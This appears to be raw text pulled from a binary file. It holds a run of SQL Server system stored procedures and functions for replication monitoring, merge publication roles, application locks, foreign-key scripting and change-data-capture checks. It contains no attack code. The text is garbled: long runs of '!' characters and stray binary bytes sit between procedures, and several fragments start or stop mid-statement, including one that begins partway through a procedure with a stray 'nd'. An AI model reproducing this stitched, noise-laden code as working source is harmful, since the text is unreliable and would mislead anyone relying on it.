            @delivered_commands = NULL, @average_commands = NULL,
            @delivery_rate = NULL, @delivery_latency = NULL,
            @error_id = NULL,
            @last_timestamp = 0x00000000

        -- Get the status of the agent
        select @status = lh.runstatus, 
            @start_time = sys.fn_replformatdatetime(start_time),
            @time = sys.fn_replformatdatetime(time), 
            @duration = duration, 
            @comments = comments,
            @delivery_time = delivery_time, @delivered_transactions = delivered_transactions,
            @delivered_commands = delivered_commands, @average_commands = average_commands,
            @delivery_rate = delivery_rate, @delivery_latency = delivery_latency,
            @error_id = error_id, @last_timestamp = timestamp
            from MSlogreader_history lh with (READPAST) 
            where
            lh.agent_id = @agent_id and
            lh.timestamp = (select max(timestamp) from MSlogreader_history with (READPAST)
                where
                agent_id = lh.agent_id
			and comments not like N'<stats state%'	
                )

        insert into #logreader_agent values (@logreader_agent, @status, @publisher,
            @publisher_db, @start_time, @time, @duration, @comments,
            @delivery_time, @delivered_transactions, @delivered_commands, @average_commands,
            @delivery_rate, @delivery_latency, @error_id, @job_id, @local_job,
            @profile_id, @agent_id, @last_timestamp)

        FETCH hC INTO @publisher, @publisher_db, @logreader_agent, 
            @local_job, @job_id, @profile_id, @agent_id
        end

    if @show_distdb = 0
        select * from #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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!_	`jk<4	A]0Fm8 8create procedure sys.sp_MSenum_logreader_sd
(
    @name nvarchar(100),
    @time datetime = NULL
)
as
begin
    set nocount on

    declare @start_time datetime
    declare @time_up datetime

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    IF @time IS NULL
        select @time = GETDATE()
    /*
    ** Minute-approximate @time can be used.
    ** Note: The select only return datetime data with minute precision
    */
    IF  DATEPART(second, @time) = 0 AND
        DATEPART(millisecond, @time) = 0
    BEGIN
        SELECT @time_up = DATEADD(second, +59, @time)
        SELECT @time_up = DATEADD(millisecond, +999, @time)
    END
    ELSE
        SELECT @time_up = @time
        

    select  top 1 @start_time = start_time          
         from MSlogreader_history rh with (READPAST) 
        where
        rh.agent_id = (select top 1 id from MSlogreader_agents where name = @name) and
        time <= @time_up and comments not like N'<stats state%'
        order by timestamp DESC

    select  runstatus, 
            'time' = sys.fn_replformatdatetime(time), 
            comments,duration, delivery_rate, delivery_latency,
        delivery_time,  delivered_transactions, delivered_commands, average_commands, 
        error_id        
        from MSlogreader_history rh with (READPAST) 
        where
        rh.agent_id = (select top 1 id from MSlogreader_agents where name = @name) and
        start_time = @start_time 
         and comments not like N'<stats state%'
        order by timestamp desc
end
0-+B 	8create procedure sys.sp_MSdropmergepalrole(@pubid uniqueidentifier = NULL)
AS
    declare @retcode int
    
    if (@pubid is NULL)
    begin
    	declare hC1 CURSOR LOCAL FAST_FORWARD FOR select pubid FROM dbo.sysmergepublications FOR READ ONLY
    	
    	OPEN hC1
    	FETCH hC1 INTO @pubid
    	WHILE (@@fetch_status <> -1)
    		BEGIN
    			EXECUTE @retcode = sys.sp_MSdropmergepalrole @pubid
    			if @retcode<>0 or @@error<>0
    			    return 1
    			FETCH hC1 INTO @pubid
    		END
    	CLOSE hC1
    	DEALLOCATE hC1
    end

    -- drop the database role that contains users who have access to the publication
    -- this has to be done outside the transaction since role operations cannot be
    -- done in transaction
    declare @role sysname
    declare @member sysname
    
    select @role = sys.fn_MSmerge_GetPALRole(@pubid)

    if exists (select * from sys.database_principals where name=@role and type = 'R')
    begin
        -- this role is a memeber of the database pal role. Drop it from there.
        if exists (select * from sys.database_principals where name='MSmerge_PAL_role' and type = 'R')
        begin
            exec @retcode = dbo.sp_droprolemember 'MSmerge_PAL_role', @role
            if (@retcode <> 0 or @@error <> 0)
                return 1
        end
        
        declare role_members cursor fast_forward
        for select u.name as MemberName
    			from sys.database_principals u, sys.database_principals g, sys.database_role_members m
    			where g.name = @role
    				and g.principal_id = m.role_principal_id
    				and g.type = 'R'
    				and u.principal_id = m.member_principal_id
    				
        open role_members 
        fetch role_members into @member
        while @@fetch_status <> -1
        begin
            exec @retcode = sys.sp_droprolemember @role, @member
            if (@retcode <> 0 or @@error <> 0)
            BEGIN
                close role_members
                deallocate role_members
                RAISERROR (14005, 16, -1)
                RETURN (1)
            END
            fetch role_members into @member
        end
        close role_members
        deallocate role_members
        
        exec @retcode = sys.sp_droprole @role
        if (@retcode <> 0 or @@error <> 0)
        BEGIN
            RAISERROR (14005, 16, -1)
            RETURN (1)
        END
    end

!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!a`	<
Y5	%̸0MT 8create procedure sys.sp_MSenum_qreader 
(
    @name nvarchar(100) = '%',
    @show_distdb bit = 0
)
as
begin
    set nocount on

    declare @agent_name nvarchar(100)
                ,@status int
                ,@session_status int
                ,@start_time nvarchar(24)
                ,@time nvarchar(24)
                ,@duration int
                ,@comments nvarchar(255)
                ,@transactions_processed int
                ,@commands_processed int
                ,@average_commands int
                ,@delivery_rate int
                ,@delivery_latency int
                ,@error_id int
                ,@session_error_id int
                ,@job_id binary(16)
                ,@agent_id int
                ,@profile_id int
                ,@last_timestamp binary(8)
                ,@first_timestamp binary(8)

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    
    create table #qreader_agent (name nvarchar(100) NOT NULL, status int NOT NULL,
        start_time nvarchar(24) NULL, time nvarchar(24) NULL, duration int NULL,
        comments nvarchar(255) NULL, 
        transactions_processed int NULL, commands_processed int NULL, 
        average_commands int NULL, delivery_rate int NULL, delivery_latency int NULL,
        error_id INT NULL, job_id binary(16) NULL, 
        profile_id int NULL, agent_id int NOT NULL, local_timestamp binary(8) NOT NULL)

    declare #hC CURSOR LOCAL FAST_FORWARD FOR
        select id, name, job_id, profile_id
        from MSqreader_agents with (READPAST)
        where name = case when ((@name = '%') or (@name is NULL)) then name else @name end
        for read only

    OPEN #hC
    FETCH #hC INTO @agent_id, @agent_name, @job_id, @profile_id
    WHILE (@@fetch_status <> -1)
    begin       
        --
        -- Initialize
        --
        select @status = 0 
                ,@session_status = 0
                ,@session_error_id = 0
                ,@delivery_latency = 0
        --
        -- select the last timestamp
        --
        select @last_timestamp = max(timestamp) from MSqreader_history with (READPAST) 
        where agent_id = @agent_id
        --
        -- select the last time the agent was started
        --
        select @first_timestamp = max(timestamp) from MSqreader_history with (READPAST)
        where agent_id = @agent_id and runstatus = 1
        --
        -- Get start time, duration
        --
        select @start_time = sys.fn_replformatdatetime(start_time)
        from MSqreader_history with (READPAST)
        where agent_id = @agent_id and timestamp = @first_timestamp
        --
        -- Get the session status and error - get the highest ones
        --
        select @session_status = isnull(max(runstatus),0)
                ,@session_error_id = isnull(max(error_id),0)
        from MSqreader_history with (READPAST)
        where agent_id = @agent_id 
            and timestamp >= @first_timestamp and timestamp <= @last_timestamp
        --
        -- Compute the transaction processed, commands processed,
        -- avg commands, delivery rate
        --
        select @transactions_processed = sum(ISNULL(transactions_processed, 0)) 
            ,@commands_processed = sum(ISNULL(commands_processed, 0))
            ,@average_commands =  avg(ISNULL(commands_processed, 0))
            ,@delivery_rate = cast(avg(ISNULL(delivery_rate, 0.0)) as int)
        from MSqreader_history with (READPAST)
        where agent_id = @agent_id 
            and timestamp >= @first_timestamp and timestamp <= @last_timestamp
            and transactions_processed > 0
        --
        -- Get the duration, time, status, comments, error from last log
        --
        select 
            @duration = duration,
            @time = sys.fn_replformatdatetime(time),
            @status = isnull(runstatus, 0),
            @comments = comments,
            @error_id = error_id
        from MSqreader_history with (READPAST)
        where agent_id = @agent_id and timestamp = @last_timestamp
        --
        -- if we have errors in the session - choose the highest status
        --
        if (@session_status > 4)
        begin
            select @status = @session_status
                    ,@error_id = @session_error_id
        end
        --
        -- store the session information
        --
        insert into #qreader_agent values(@agent_name, @status, @start_time, 
            @time, @duration, @comments, @transactions_processed, @commands_processed, 
            @average_commands, @delivery_rate, @delivery_latency,
            @error_id, @job_id, @profile_id, @agent_id, isnull(@last_timestamp,0x00))            
        --
        -- fetch next agent to process
        --
        FETCH #hC INTO @agent_id, @agent_name, @job_id, @profile_id
    end
    --
    -- return resultset
    --
    if @show_distdb = 0
        select * from #qreader_agent 
    else 
        select 'dbname' = DB_NAME(), * from #qreader_agent
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`d<6	p0:}a0g@ 8create procedure sys.sp_MSgetlastupdatedtime(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @subscription_type int,
    @publication_type int  -- 1 - transactional/snapshot, 2 - merge
    )
as
begin
    set nocount on
    declare @retcode int
    select @retcode = 0

    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe    
    if @retcode<>0 or @@error<>0
        return 1

    if @publication_type in (0,1)
    begin
        exec @retcode = sys.sp_MSgettranlastupdatedtime @publisher,
                                                        @publisher_db,
                                                        @publication,
                                                        @subscription_type
    end
    else
    begin
        exec @retcode = sys.sp_MSgetmergelastupdatedtime @publisher,
                                                         @publisher_db,
                                                         @publication,
                                                         @subscription_type
    end
    return @retcode
end
0%E D8t
hp40]	 8
create procedure sys.sp_databases
as
    set nocount on

    select
        DATABASE_NAME   = db_name(s_mf.database_id),
        DATABASE_SIZE   = convert(int,
                                    case -- more than 2TB(maxint) worth of pages (by 8K each) can not fit an int...
                                    when sum(convert(bigint,s_mf.size)) >= 268435456
                                    then null
                                    else sum(convert(bigint,s_mf.size))*8 -- Convert from 8192 byte pages to Kb
                                    end),
        REMARKS         = convert(varchar(254),null)
    from
        sys.master_files s_mf
    where
        s_mf.state = 0 and -- ONLINE
        has_dbaccess(db_name(s_mf.database_id)) = 1 -- Only look at databases to which we have access
    group by s_mf.database_id
    order by 1
0o  D8Phk0^@ 8create procedure sys.sp_MSgetmergeadminapplock
    @timeout int = -1,
    @lockmode nvarchar(32) = N'Exclusive',
    @lock_acquired int = NULL OUTPUT,
    @lockowner nvarchar(32) = N'Session'
as
    set nocount on

    declare @retcode smallint
    declare @lock_resource nvarchar(255)
    declare @publisher sysname
    declare @publisher_db sysname
    declare @DbPrincipal sysname

    select @publisher = publishingservername() 
    select @publisher_db = DB_NAME() 

    select @retcode = 0
    select @lock_acquired = -1

    exec @retcode = sys.sp_MSreplcheck_publish
    if @retcode<>0 or @@ERROR<>0
        return 1

    -- use the dbowner role
    select @DbPrincipal = N'db_owner'
    select @lock_resource = N'MSinternal_repl_merge_admin_' + convert(nvarchar(6), db_id()) 

    exec @retcode = sp_getapplock @Resource = @lock_resource,
                                  @LockMode = @lockmode,
                                  @LockOwner = @lockowner,
                                  @LockTimeout = @timeout, -- wait till the the given @timeout time to get it
                                  @DbPrincipal = @DbPrincipal
    if @@error<>0 or @retcode<0 -- lock was not acquired
    begin
        raiserror(20712, 16, -1, @publisher_db)
        select @retcode = 1
        select @lock_acquired = -1
    end
    else
        select @lock_acquired = 1

    return @retcode
0@ 
8create procedure sys.sp_MSgetdatametadatabatch
    (@pubid uniqueidentifier,
     @tablenickarray varbinary(2000),
     @rowguidarray varbinary(8000),
     @all_articles_are_guaranteed_to_be_updateable_at_other_replica bit= 1,
     @logical_record_parent_rowguid uniqueidentifier)
as
    declare @tablenick int
    declare @rowguid uniqueidentifier
    declare @retcode        smallint
    declare @tnlength       int
    declare @tnoffset       int
    declare @guidoffset     int
    declare @procname       nvarchar(270)
    declare @enumrowmetadataforthatarticle      bit
    declare @nextnicknameminidx int
    
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid
    if (@retcode <> 0) or (@@error <> 0)
        return 1
        
    -- create temp table for returning results
    create table #rows (idx int identity(1,1) unique, tablenick int, rowguid uniqueidentifier)
    create index #rows_rowguid_index on #rows (rowguid)

    if (@tablenickarray is null)
    begin
        RAISERROR(14043, 16, -1, '@tablenick', 'sp_MSgetdatametadatabatch')
        return (1)
    end
    if (@rowguidarray is null)
    begin
        RAISERROR(14043, 16, -1, '@rowguid', 'sp_MSgetdatametadatabatch')
        return (1)
    end
   
    -- initialize offsets and length for walking through arrays
    set @tnoffset = 1
    set @guidoffset = 1
    set @tnlength = datalength(@tablenickarray)

    -- walk through arrays and populate temp table
    while (@tnoffset < @tnlength)
    begin
        set @tablenick = substring(@tablenickarray, @tnoffset, 4)
        set @rowguid = substring(@rowguidarray, @guidoffset, 16)

        insert into #rows (tablenick, rowguid) values (@tablenick, @rowguid) 

        -- bump up offsets for next time through loop
        set @tnoffset = @tnoffset + 4
        set @guidoffset = @guidoffset + 16
    end

        select @tablenick = NULL
        select @nextnicknameminidx=1
    select @tablenick = tablenick from #rows where idx=@nextnicknameminidx
    
    while (@tablenick is not NULL)
    begin
        select @procname = 'dbo.' + select_proc from dbo.sysmergearticles
                where pubid = @pubid and nickname = @tablenick

        if 0 = @all_articles_are_guaranteed_to_be_updateable_at_other_replica and 
           1 = sys.fn_MSarticle_has_downloadonly_property(@tablenick)
        begin
            set @enumrowmetadataforthatarticle= 0
        end
        else
        begin
            set @enumrowmetadataforthatarticle= 1
        end
        
        exec @retcode = @procname 
                            @maxschemaguidforarticle = NULL, 
                            @type= 9,
                            @enumentirerowmetadata= @enumrowmetadataforthatarticle,
                            @logical_record_parent_rowguid = @logical_record_parent_rowguid
        if @@error <> 0 or @retcode <> 0
            return 1
        
        select @nextnicknameminidx = min(idx) from #rows
        where idx >  @nextnicknameminidx
        and tablenick != @tablenick
        
        if @nextnicknameminidx is null
            break
        
        select @tablenick = min(tablenick) from #rows 
        where idx = @nextnicknameminidx
    end

    return (0)
0 D8h+
W-4active_start_time_of_day, 
            @active_end_time_of_day = @active_end_time_of_day
     return @retcode
nd

    begin tran
    
    UPDATE dbo.MSpublications
    SET
			options = @OPT_ENABLED_FOR_HET_SUB,
			-- Unsupported options are explicitly set to 0 or null, as appropriate
			allow_pull = 0,
			allow_queued_tran = 0,
			allow_subscription_copy = 0,
			sync_method = @sync_method
    WHERE   publisher_id = @publisher_id AND
            publisher_db = @publisher_db AND
            publication = @publication
            
    IF @@ERROR <> 0 
            goto UNDO

    COMMIT TRAN

    RETURN(0)

UNDO:
    IF @@TRANCOUNT = 1
        ROLLBACK TRAN
    ELSE
        COMMIT TRAN   
    RETURN (1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!6`,<>
7	i_0v@ 8
CREATE PROCEDURE sys.sp_MSrepl_enumpublishertables
(
	@publisher	sysname,
	@silent		bit = 0
)
AS
BEGIN
	DECLARE @retcode	int
	DECLARE @publisher_type	sysname
	DECLARE @cmd		nvarchar(4000)
	DECLARE @distribdb	sysname
	
	SET @retcode = 0

	--
    -- Security Check: require sysadmin
	--
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

	EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher      = @publisher,
														@publisher_type	= @publisher_type OUTPUT,
														@distribdb		= @distribdb OUTPUT

	IF @retcode <> 0
	BEGIN
		RETURN (@retcode)
	END

	IF @distribdb IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN(1)
	END

	-- Create temp table to store the results (if not already available)
	IF object_id(N'tempdb..#publishertables', 'U') IS NULL
	BEGIN
		CREATE TABLE #publishertables
		(
			owner						sysname,
			name						sysname,
			has_valid_pk				bit,
			has_unique_with_nullable	bit,
			is_published				bit,
			has_explicit_select_grant	bit,
			is_tranpublished			bit
		)
	END

	-- Get per provider method for determining publisher tables
	IF UPPER(@publisher_type) IN ('ORACLE', 'ORACLE GATEWAY')
	BEGIN
		SET @cmd = QUOTENAME(@distribdb) + N'.sys.sp_ORAenumpublishertables'

		EXEC @retcode = @cmd @publisher

		IF (@silent = 0)
		BEGIN
			SELECT	*
			FROM	#publishertables
			ORDER BY owner, name

			DROP TABLE #publishertables
		END
	END
	ELSE
	BEGIN
		RAISERROR(21645, 16, -1, @publisher_type)
		SET @retcode = 1
	END

	RETURN (@retcode)
END
0 8create FUNCTION sys.fn_MStran_foreignkey 
(	@objid int
	,@refid int 
	,@fkname nvarchar(512)
)
returns @columns TABLE
(
	stmt nvarchar(max) collate database_default NULL,
	reftable nvarchar(512) collate database_default NULL,
	refcollist nvarchar(max) collate database_default NULL,
	refcolcount int,
	stmtend nvarchar(512)
)
as
begin
declare @col_list_key nvarchar(max)
			,@col_list_ref nvarchar(max)
			,@refcollist_singlequoted nvarchar(max)
			,@colname nvarchar(1024)
			,@definition nvarchar(max)
			,@reftable nvarchar(512)
			,@refcolcount int
			,@stmtend nvarchar(512)

select	@col_list_key = N''
		,@col_list_ref = N''
		,@refcollist_singlequoted = N''
		,@refcolcount = 0
		,@stmtend = NULL

--retrieve referenced column list 
declare #col_cur cursor LOCAL FAST_FORWARD for 	
	select c.name
	from 
		sys.foreign_keys f join sys.index_columns i on f.key_index_id = i.index_id and f.referenced_object_id = i.object_id 
		join sys.columns c on c.object_id = i.object_id and c.column_id = i.column_id
	where f.parent_object_id = @objid and quotename(f.name) = @fkname order by i.key_ordinal
open #col_cur
fetch #col_cur into @colname
while(@@fetch_status < > -1)
begin
	select @col_list_ref = @col_list_ref + case len(@col_list_ref) when 0 then N'' else N', ' end + quotename(@colname)
				,@refcolcount = @refcolcount + 1
				,@refcollist_singlequoted  = @refcollist_singlequoted + 
														case len(@refcollist_singlequoted) 
															when 0 then N'' 
															else N', ' end + quotename(@colname, '''')
	fetch #col_cur into @colname
end
close #col_cur
deallocate #col_cur
set @col_list_ref = case len(@col_list_ref) when 0 then N' ' else N'(' + @col_list_ref + N') ' end

--retrieve foreign key column list 
declare #col_cur cursor LOCAL FAST_FORWARD for 	
	select quotename (c.name)
	from 
		sys.foreign_keys f join sys.columns c on c.object_id = f.parent_object_id
		join sys.foreign_key_columns fkc on fkc.parent_object_id = f.parent_object_id and fkc.parent_column_id = c.column_id
			and f.object_id = fkc.constraint_object_id
	where f.parent_object_id = @objid and quotename(f.name) = @fkname order by fkc.constraint_column_id 
open #col_cur
fetch #col_cur into @colname
while(@@fetch_status < > -1)
begin
	select @col_list_key = @col_list_key + case len(@col_list_key) when 0 then N'' else N', ' end + @colname 
	fetch #col_cur into @colname
end
close #col_cur
deallocate #col_cur

--build foreign key definition 
set @col_list_key = case len(@col_list_key) when 0 then N'' else N'(' + @col_list_key + N')' end
if (@objid = @refid) -- self referencing, set @reftable to NULL to inform caller
	select @reftable = NULL
else 
	select @reftable = quotename(object_name(@refid))
	
set @definition = N'CONSTRAINT ' + @fkname + N' FOREIGN KEY ' + @col_list_key + ' REFERENCES ' 
select @stmtend = @col_list_ref +
						case f.delete_referential_action	when 0 then N'' 
													when 1 then N' ON DELETE CASCADE'
													when 2 then N' ON DELETE SET NULL'
													when 3 then N' ON DELETE SET DEFAULT' end +
						case f.update_referential_action	when 0 then N'' 
													when 1 then N' ON UPDATE CASCADE'
													when 2 then N' ON UPDATE SET NULL'
													when 3 then N' ON UPDATE SET DEFAULT' end +
						N' NOT FOR REPLICATION' 
				from sys.foreign_keys f where f.parent_object_id = @objid and quotename(f.name) = @fkname 
				
insert into @columns (stmt, reftable, refcollist, refcolcount, stmtend)
				select @definition
						,@reftable
						,@refcollist_singlequoted
						,@refcolcount
						,@stmtend 
RETURN 
end
0= P8.5h%>&@#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!l`<O
8	B2
0~V` 8CREATE FUNCTION sys.fn_builtin_permissions
                 ( @level nvarchar(60) )
RETURNS table
AS
RETURN (
        SELECT * FROM OpenRowset(TABLE BUILTINPERMISSIONS, @level)
       )
0Ei 8create procedure sys.sp_MSdrop_6x_publication
(
    @job_id UNIQUEIDENTIFIER
)
as
begin
    declare @publisher sysname
    declare @publisher_db sysname
    declare @publication sysname
    declare @retcode int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSdrop_6x_publication', 'distribution')
        return (1)
    end
    -- Get publication information
    select @publisher = srvname, @publisher_db = publisher_db, @publication = publication from 
        MSsnapshot_agents, master.dbo.sysservers where
        job_id = @job_id and
        srvid = publisher_id

    -- Remove the publication and snapshot agent
    exec @retcode = sys.sp_MSdrop_publication
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication 
    if @@ERROR <> 0 or @retcode <> 0
        return 1
end
0$b@ 8create procedure sys.sp_MSget_session_statistics 
(
@session_id int
) 
as 
begin
    declare @agent_id int
    declare @retcode int

    -- the merge agent calls this proc
    select @agent_id = 0
    select @agent_id = agent_id from dbo.MSmerge_sessions where session_id = @session_id

    -- Security Check
    exec @retcode = sys.sp_MScheck_pull_access @agent_id = @agent_id, @agent_type = 1 -- merge agent
    if @@error <> 0 or @retcode <> 0
            return (1)

    select  duration,
            upload_time,
            download_time,
            prepare_snapshot_time,
            schema_change_time,
            schema_changes,
            bulk_inserts,
            metadata_rows_cleanedup,
            estimated_upload_changes,
            estimated_download_changes
    from dbo.MSmerge_sessions with (nolock) where session_id = @session_id

    select  phase_id,
            article_name,
            duration,
            inserts,
            updates,
            deletes,
            conflicts,
            rows_retried,
            estimated_changes
     from dbo.MSmerge_articlehistory with (nolock) where session_id = @session_id
     
     return 0
end
0a 8create function [sys].[fn_cdc_check_parameters]				
(														
	@capture_instance sysname,
	@from_lsn binary(10),
	@to_lsn binary(10),
	@row_filter_option nvarchar(30),
	@net_changes bit 
)														
returns bit
as													
begin
	declare @val bit

	select @capture_instance = rtrim(@capture_instance)
	
	if ([sys].[fn_cdc_has_select_access](@capture_instance) = 0)
	begin
		if (@net_changes is null) or (@net_changes = 0)
		begin
			-- Force error 229 execute permission denied on all changes dummy
			if exists(
				select * from cdc.[fn_cdc_get_all_changes_...](0X00, 0X01, 'all')
			)
				return 0
		end
		else
		begin
			-- Force error 229 execute permission denied on net changes dummy
			if exists(
				select * from cdc.[fn_cdc_get_net_changes_...](0X00, 0X01, 'all')
			)
				return 0
		end
		
		return 0
	end

	if ([sys].[fn_cdc_is_range_valid](@from_lsn, @to_lsn, @capture_instance) = 0)
	begin
		-- Force error 313 -- Insufficient number of arguments
		if ((@net_changes is null) or (@net_changes = 0))
		begin
			select @val = sys.fn_cdc_all_changes_range_error()
			return 0	
		end			
		else
		begin
			select @val = sys.fn_cdc_net_changes_range_error()
			return 0	
		end
	end		
	
	if ((@net_changes is null) or (@net_changes = 0))
	begin
		if (@row_filter_option is NULL) or
		   (lower(rtrim(ltrim(@row_filter_option))) not in (N'all', N'all update old'))
		begin
			-- Force error 313 -- Insufficient number of arguments
			select @val = sys.fn_cdc_all_changes_range_error()
			return 0	
		end			
	end
	else
	begin
		if (@row_filter_option is NULL) or
		   (lower(rtrim(ltrim(@row_filter_option))) not in (N'all', N'all with mask', N'all with merge'))
		begin
			-- Force error 313 -- Insufficient number of arguments
			select @val = sys.fn_cdc_net_changes_range_error()
			return 0	
		end			
	end
	
	return 1
							
end																	
